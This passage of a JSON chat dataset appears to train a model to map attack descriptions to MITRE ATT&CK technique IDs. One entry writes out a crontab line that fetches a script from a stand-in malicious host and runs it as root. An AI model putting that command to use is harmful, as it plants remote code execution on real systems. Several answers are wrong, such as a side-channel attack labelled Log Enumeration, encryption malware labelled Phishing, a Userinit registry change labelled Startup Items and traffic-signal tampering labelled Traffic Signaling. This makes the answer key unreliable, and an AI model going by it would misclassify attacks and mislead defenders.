                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the CLR integration feature to deploy a .NET stored procedure that interacts with the file system."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged GitLab CI/CD pipelines to store stolen credentials in a hidden project, exfiltrating them via the web service."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a launch daemon that watches a directory for new files and triggers a script to exfiltrate them."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker researches the victim’s external partners and suppliers to map out business relationships that could be leveraged for further intrusion."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs lateral movement by authenticating to the target's WinRM service with stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries have abused the Windows Odbcconf binary to install a malicious provider, enabling execution of their payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary abuses Windows named pipes to relay authentication credentials between a compromised service and a remote system, enabling lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects malicious code into a trusted Microsoft Office document by overwriting existing VBA macros to hide the payload."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a command‑and‑control channel that encrypts all traffic using a pre‑shared AES‑256 key."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An employee receives an email claiming a package delivery issue and clicks a link that leads to a malicious HTML file exploiting the browser."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy C2 utilizes Amazon S3 bucket objects named with command keywords, which the compromised host periodically checks."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious PowerShell one-liner, the attacker uploaded an encrypted payload to the victim's system to be decrypted and executed later."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor utilized a WebSocket connection to stream exfiltrated documents to a malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero‑day exploit, the intruder escalates privileges by corrupting kernel memory."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by inserting a command into the Winlogon Userinit registry value to execute a payload at logon."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a custom DLL to invoke the Get-Mailbox cmdlet on a compromised domain controller, exporting mailboxes remotely."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor conducts reconnaissance by searching for the target's email addresses and usernames across public forums and websites."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysis revealed that the malicious payload was wrapped in a software packer, which decrypts the payload at runtime to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware moves collected credentials to a remote SMB share for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team conducts a passive network sniffing operation to infer the topology of the compromised environment."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modifies an internal appliance firmware image to include a hidden payload before it is flashed onto devices."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through ROMMONkit, the attacker replaces the bootloader with a trojan that persists across reboots."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets a flag in the thread's context to indicate that debugging is prohibited, causing debuggers to abort."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtains a compromised email account to send spear‑phishing messages."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a domain registrar account and modifies DNS records to redirect traffic."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise adds code that archives source code repositories to a USB flash drive for later extraction."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script adds a line to the root's crontab: * * * * * curl http://malicious.example.com/payload.sh | sh"
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the boot loader configuration to load a malicious kernel module before the OS kernel initializes."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the malicious script calls regsvcs to execute a remote assembly, leveraging system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan employs the Windows API GetSystemInfo function to retrieve hardware architecture, number of processors, and memory size of the host."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers leveraged stolen Office 365 user credentials to log into the tenant and create new admin accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor sets up a mail flow rule that forwards any email containing the word 'invoice' to a remote mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz, the adversary extracts credentials from the LSASS process."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conducting a supply chain attack to compromise a vendor's software or hardware"
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uploads a malicious .jpeg to a public website; users who view the image are tricked into running a script that runs arbitrary code on their machine."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script uses Google Cloud Resource Manager API to enumerate all GCP Cloud Identity groups and their members for lateral movement planning."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting the Kerberos AS‑REP vulnerability, the threat actor collects encrypted ticket data from the DC and uses hashcat to crack the tickets without ever needing the user’s password."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A short description: modifies system shim settings to load malicious code."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a firmware exploit to write a hidden payload into the UEFI firmware, allowing code execution prior to OS initialization."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware establishes an encrypted channel by applying AES‑CBC mode to all traffic between the victim and the attacker."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware sends encrypted payloads to a compromised Slack webhook URL, writing data only to the service without awaiting inbound communication."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary drops a malicious .dylib into a directory that is searched before the legitimate library, causing the target program to execute the injected code."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script contacts the Google Cloud metadata server to retrieve service account keys, exposing the cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor triggers a distributed denial‑of‑service attack against the organization’s public web server."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor monitors the size of outbound packets and automatically reduces the payload to stay below a 150 KB limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a credential dump from LSASS to create new accounts with admin rights."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a service account and script automated calls to SharePoint's search API to harvest project plans."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures Outlook rules to delete or archive inbound emails containing specific keywords, effectively hiding malicious content from the inbox."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts searches of public digital certificate listings to locate expired or mis‑issued certificates for exploitation."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware was hidden by renaming its .exe file to .bat, relying on user confusion."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses the Windows Credential Manager to retrieve stored network credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom DLL is loaded as a network provider, altering the authentication flow to steal user credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware surveys the system registry for keys under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to enumerate installed programs."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Advanced threat actor leveraged the SharePoint REST API to upload stolen intellectual property into a hidden document library for later download."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a compromised workstation’s USB port to write stolen credentials to a connected flash drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operator uses the 'wevtutil' command to list all available event logs on the target system."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a malicious SSH server and compromises private keys to allow infected machines to initiate SSH sessions for command execution."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a spreadsheet modifies the XLStart folder to load a payload on each Excel launch, exploiting the Office Application Startup behavior."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 engineers a zero‑day exploit chain and bundles it with a dropper."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used the legitimate system binary InstallUtil to register a malicious service and gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerability in roadside traffic signal firmware to send malicious timing commands."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Employ side-channel attacks that target information about the implementation of an algorithm rather than directly attacking it"
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors use Microsoft 365 Remote Desktop services to maintain persistent connections to target endpoints in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script imports functions by name using Add-Type with a base64-encoded string, then resolves them at runtime rather than static linking."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware strain utilizes encryption to evade detection and persist on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised VPN gateway is used as an external proxy, allowing the attacker to tunnel malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1090.002 - Proxy: External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor injects a container image into the automated deployment scripts, causing unauthorized code execution."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the authentication workflow by inserting a reversible encryption step that hides the original credentials but can be reversed later."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a macro-enabled Excel file that extracts clipboard contents and uploads them via FTP."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries alter firmware on devices to render them inoperable."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A supply chain compromise replaces the motherboard firmware with a tampered version that disables security features."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By calling GetForegroundWindow, the malware determines the currently focused application window."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker transfers a custom malware installer to a compromised email attachment server for subsequent delivery."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary collects local system logs and error reports, compresses them, and exfiltrates the archive."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Executing payloads by hijacking trusted developer utilities such as compilers or build tools."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used DNS tunneling over compromised DNS servers to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use covert channels in DNS TXT records to embed command instructions."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
